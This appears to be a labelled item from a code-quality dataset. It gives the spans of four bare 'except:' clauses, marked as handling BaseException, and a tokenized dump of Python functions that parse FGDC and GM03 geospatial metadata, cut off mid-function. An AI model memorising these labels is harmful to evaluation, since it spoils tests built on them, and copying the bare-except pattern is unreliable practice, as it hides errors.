[ { "span": "except: ", "start_line": 974, "start_column": 8, "end_line": 974, "end_column": 15 }, { "span": "except: ", "start_line": 1052, "start_column": 8, "end_line": 1052, "end_column": 15 }, { "span": "except: ", "start_line": 1265, "start_column": 8, "end_line": 1265, "end_column": 15 }, { "span": "except: ", "start_line": 1335, "start_column": 8, "end_line": 1335, "end_column": 15 } ]
[]
1
true
[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "parse", "\\u", "fg", "dc_", "(_", "context_", ",_", "repos_", ",_", "ex", "ml_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "ow", "sli", "b_", "._", "fg", "dc_", "import_", "Metadata_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "reco", "bj_", "=_", "repos_", "._", "dataset_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "links_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "md_", "=_", "Metadata_", "(_", "ex", "ml_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "md_", "._", "idi", "nfo_", "._", "dataset", "id_", "is_", "not_", "None_", ":_", "#", " ", "we", " ", "need", " ", "an", " ", "identifier_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Identifie", "r", "'_", ",_", "md_", "._", "idi", "nfo_", "._", "dataset", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", " ", "generat", "e", " ", "one", " ", "ours", "elv", "es_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Identifie", "r", "'_", ",_", "uuid_", "._", "uuid1_", "(_", ")_", "._", "urn_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Type", "name", "'_", ",_", "'", "fg", "dc", ":", "metadata", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Schema", "'_", ",_", "context_", "._", "namespaces_", "[_", "'", "fg", "dc", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Md", "Sou", "rce", "'_", ",_", "'", "local", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Insert", "Date", "'_", ",_", "util_", "._", "get", "\\u", "toda", "y", "\\u", "and", "\\u", "now_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "XML", "'_", ",_", "md_", "._", "xml_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Any", "Text", "'_", ",_", "util_", "._", "get", "\\u", "anyt", "ext_", "(_", "ex", "ml_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Lang", "ua", "ge", "'_", ",_", "'", "en", "-", "US", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "hasattr_", "(_", "md_", "._", "idi", "nfo_", ",_", "'", "descrip", "t", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Abstract", "'_", ",_", "md_", "._", "idi", "nfo_", "._", "descrip", "t_", "._", "abstract_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "hasattr_", "(_", "md_", "._", "idi", "nfo_", ",_", "'", "keywords", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "md_", "._", "idi", "nfo_", "._", "keywords_", "._", "theme_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Key", "words", "'_", ",_", "','_", "._", "join_", "(_", "md_", "._", "idi", "nfo_", "._", "keywords_", "._", "theme_", "[_", "0_", "]_", "[_", "'", "them", "ek", "ey", "'_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "hasattr_", "(_", "md_", "._", "idi", "nfo_", "._", "timep", "erd", "_", ",_", "'", "time", "info", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "hasattr_", "(_", "md_", "._", "idi", "nfo_", "._", "timep", "erd", "_", "._", "time", "info_", ",_", "'", "rng", "dates", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Temp", "Extent", "\\u", "begin", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "md_", "._", "idi", "nfo_", "._", "timep", "erd", "_", "._", "time", "info_", "._", "rng", "dates_", "._", "beg", "date_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Temp", "Extent", "\\u", "end", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "md_", "._", "idi", "nfo_", "._", "timep", "erd", "_", "._", "time", "info_", "._", "rng", "dates_", "._", "enddate", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "hasattr_", "(_", "md_", "._", "idi", "nfo_", ",_", "'", "orig", "in", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Creat", "or", "'_", ",_", "md_", "._", "idi", "nfo_", "._", "origin_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Publish", "er", "'_", ",_", "md_", "._", "idi", "nfo_", "._", "origin_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Contributor", "'_", ",_", "md_", "._", "idi", "nfo_", "._", "origin_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "hasattr_", "(_", "md_", "._", "idi", "nfo_", ",_", "'", "pt", "conta", "c", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Organiz", "ation", "Name", "'_", ",_", "md_", "._", "idi", "nfo_", "._", "pt", "conta", "c_", "._", "cnt", "org_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Access", "Constr", "aint", "s", "'_", ",_", "md_", "._", "idi", "nfo_", "._", "acc", "const_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Ot", "her", "Constr", "aint", "s", "'_", ",_", "md_", "._", "idi", "nfo_", "._", "usec", "ons", "t_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Date", "'_", ",_", "md_", "._", "metainfo", "_", "._", "met", "d_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "hasattr_", "(_", "md_", "._", "idi", "nfo_", ",_", "'", "spd", "om", "'_", ")_", "and_", "hasattr_", "(_", "md_", "._", "idi", "nfo_", "._", "spd", "om_", ",_", "'", "bbox", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "bbox_", "=_", "md_", "._", "idi", "nfo_", "._", "spd", "om_", "._", "bbox_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "bbox_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "hasattr_", "(_", "md_", "._", "idi", "nfo_", ",_", "'", "cit", "ation", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "hasattr_", "(_", "md_", "._", "idi", "nfo_", "._", "citation_", ",_", "'", "cite", "info", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Type", "'_", ",_", "md_", "._", "idi", "nfo_", "._", "citation_", "._", "cite", "info_", "[_", "'", "geo", "form", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Tit", "le", "'_", ",_", "md_", "._", "idi", "nfo_", "._", "citation_", "._", "cite", "info_", "[_", "'", "title", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "pyc", "sw", ":", "Public", "ation", "Date", "'_", ",_", "md_", "._", "idi", "nfo_", "._", "citation_", "._", "cite", "info_", "[_", "'", "pub", "date", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Format", "'_", ",_", "md_", "._", "idi", "nfo_", "._", "citation_", "._", "cite", "info_", "[_", "'", "geo", "form", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "md_", "._", "idi", "nfo_", "._", "citation_", "._", "cite", "info_", "[_", "'", "onli", "nk", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "link_", "in_", "md_", "._", "idi", "nfo_", "._", "citation_", "._", "cite", "info_", "[_", "'", "onli", "nk", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "tmp_", "=_", "',", ",", ",%", "s", "'_", "%_", "link_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "links_", "._", "append_", "(_", "tmp_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "hasattr_", "(_", "md_", ",_", "'", "dist", "info", "'_", ")_", "and_", "hasattr_", "(_", "md_", "._", "dist", "info_", ",_", "'", "std", "order", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "link_", "in_", "md_", "._", "dist", "info_", "._", "std", "order_", "[_", "'", "dig", "form", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "tmp_", "=_", "',", "%", "s", ",", ",%", "s", "'_", "%_", "(_", "link_", "[_", "'", "name", "'_", "]_", ",_", "link_", "[_", "'", "url", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "links_", "._", "append_", "(_", "tmp_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "len_", "(_", "links_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Link", "s", "'_", ",_", "'", "^", "'_", "._", "join_", "(_", "links_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "bbox_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "tmp_", "=_", "'%", "s", ",%", "s", ",%", "s", ",%", "s", "'_", "%_", "(_", "bbox_", "._", "minx_", ",_", "bbox_", "._", "miny_", ",_", "bbox_", "._", "maxx_", ",_", "bbox_", "._", "maxy_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Bound", "ing", "Box", "'_", ",_", "util_", "._", "bbox", "2w", "kt", "polygon_", "(_", "tmp_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "#", " ", "coordinate", "s", " ", "are", " ", "corrupted", ",", " ", "do", " ", "not", " ", "include_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Bound", "ing", "Box", "'_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Bound", "ing", "Box", "'_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "reco", "bj_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "parse", "\\u", "gm", "03_", "(_", "context_", ",_", "repos_", ",_", "ex", "ml_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "get", "\\u", "value", "\\u", "by", "\\u", "language_", "(_", "pt", "\\u", "group_", ",_", "language_", ",_", "pt", "\\u", "type_", "=_", "'", "text", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "pt", "g_", "in_", "pt", "\\u", "group_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "pt", "g_", "._", "language_", "==_", "language_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "pt", "\\u", "type_", "==_", "'", "url", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "val_", "=_", "pt", "g_", "._", "plain", "\\u", "url_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", " ", "'", "text", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "val_", "=_", "pt", "g_", "._", "plain", "\\u", "text_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "val_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "from_", "ow", "sli", "b_", "._", "gm", "03_", "import_", "GM", "03_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "reco", "bj_", "=_", "repos_", "._", "dataset_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "links_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "md_", "=_", "GM", "03_", "(_", "ex", "ml_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "hasattr_", "(_", "md_", "._", "data_", ",_", "'", "core", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "data_", "=_", "md_", "._", "data_", "._", "core_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "hasattr_", "(_", "md_", "._", "data_", ",_", "'", "compre", "hens", "ive", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "data_", "=_", "md_", "._", "data_", "._", "compre", "hens", "ive_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "language_", "=_", "data_", "._", "metadata_", "._", "language_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Identifie", "r", "'_", ",_", "data_", "._", "metadata_", "._", "file", "\\u", "identifier_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Type", "name", "'_", ",_", "'", "gm", "03", ":", "TRANSFER", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Schema", "'_", ",_", "context_", "._", "namespaces_", "[_", "'", "gm", "03", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Md", "Sou", "rce", "'_", ",_", "'", "local", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Insert", "Date", "'_", ",_", "util_", "._", "get", "\\u", "toda", "y", "\\u", "and", "\\u", "now_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "XML", "'_", ",_", "md_", "._", "xml_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Any", "Text", "'_", ",_", "util_", "._", "get", "\\u", "anyt", "ext_", "(_", "ex", "ml_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Lang", "ua", "ge", "'_", ",_", "data_", "._", "metadata_", "._", "language_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Type", "'_", ",_", "data_", "._", "metadata_", "._", "hier", "arch", "y", "\\u", "level_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Date", "'_", ",_", "data_", "._", "metadata_", "._", "date", "\\u", "stamp_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "dt_", "in_", "data_", "._", "date_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "dt_", "._", "date", "\\u", "type_", "==_", "'", "modifi", "ed", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Modifie", "d", "'_", ",_", "data_", "._", "date_", "._", "date_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "dt_", "._", "date", "\\u", "type_", "==_", "'", "creati", "on", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Creat", "ion", "Date", "'_", ",_", "data_", "._", "date_", "._", "date_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "dt_", "._", "date", "\\u", "type_", "==_", "'", "publicat", "ion", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Public", "ation", "Date", "'_", ",_", "data_", "._", "date_", "._", "date_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "dt_", "._", "date", "\\u", "type_", "==_", "'", "revis", "ion", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Revi", "sion", "Date", "'_", ",_", "data_", "._", "date_", "._", "date_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "hasattr_", "(_", "data_", ",_", "'", "metadata", "\\u", "point", "\\u", "of", "\\u", "contact", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Respons", "ibl", "e", "Part", "y", "Ro", "le", "'_", ",_", "data_", "._", "metadata", "\\u", "point", "\\u", "of", "\\u", "contact_", "._", "role_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Sou", "rce", "'_", ",_", "data_", "._", "metadata_", "._", "dataset", "\\u", "uri_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "CR", "S", "'_", ",_", "'", "urn", ":", "og", "c", ":", "def", ":", "cr", "s", ":", "EPS", "G", ":", "6.1", "1", ":", "432", "6", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "hasattr_", "(_", "data_", ",_", "'", "cit", "ation", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Tit", "le", "'_", ",_", "get", "\\u", "value", "\\u", "by", "\\u", "language_", "(_", "data_", "._", "citation_", "._", "title_", "._", "pt", "\\u", "group_", ",_", "language_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "hasattr_", "(_", "data_", ",_", "'", "data\\u", "identifica", "tion", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Abstract", "'_", ",_", "get", "\\u", "value", "\\u", "by", "\\u", "language_", "(_", "data_", "._", "data\\u", "identifica", "tion_", "._", "abstract_", "._", "pt", "\\u", "group_", ",_", "language_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Topic", "Cate", "gory", "'_", ",_", "data_", "._", "data\\u", "identifica", "tion_", "._", "topic", "\\u", "category_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Reso", "urc", "e", "Lang", "ua", "ge", "'_", ",_", "data_", "._", "data\\u", "identifica", "tion_", "._", "language_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "hasattr_", "(_", "data_", ",_", "'", "format", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Format", "'_", ",_", "data_", "._", "format_", "._", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "bbox_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "hasattr_", "(_", "data_", ",_", "'", "geographic", "\\u", "bound", "ing", "\\u", "box", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "tmp_", "=_", "'%", "s", ",%", "s", ",%", "s", ",%", "s", "'_", "%_", "(_", "data_", "._", "geographic", "\\u", "bound", "ing", "\\u", "box_", "._", "west", "\\u", "bound", "\\u", "longitude_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "data_", "._", "geographic", "\\u", "bound", "ing", "\\u", "box_", "._", "south", "\\u", "bound", "\\u", "latitude_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "data_", "._", 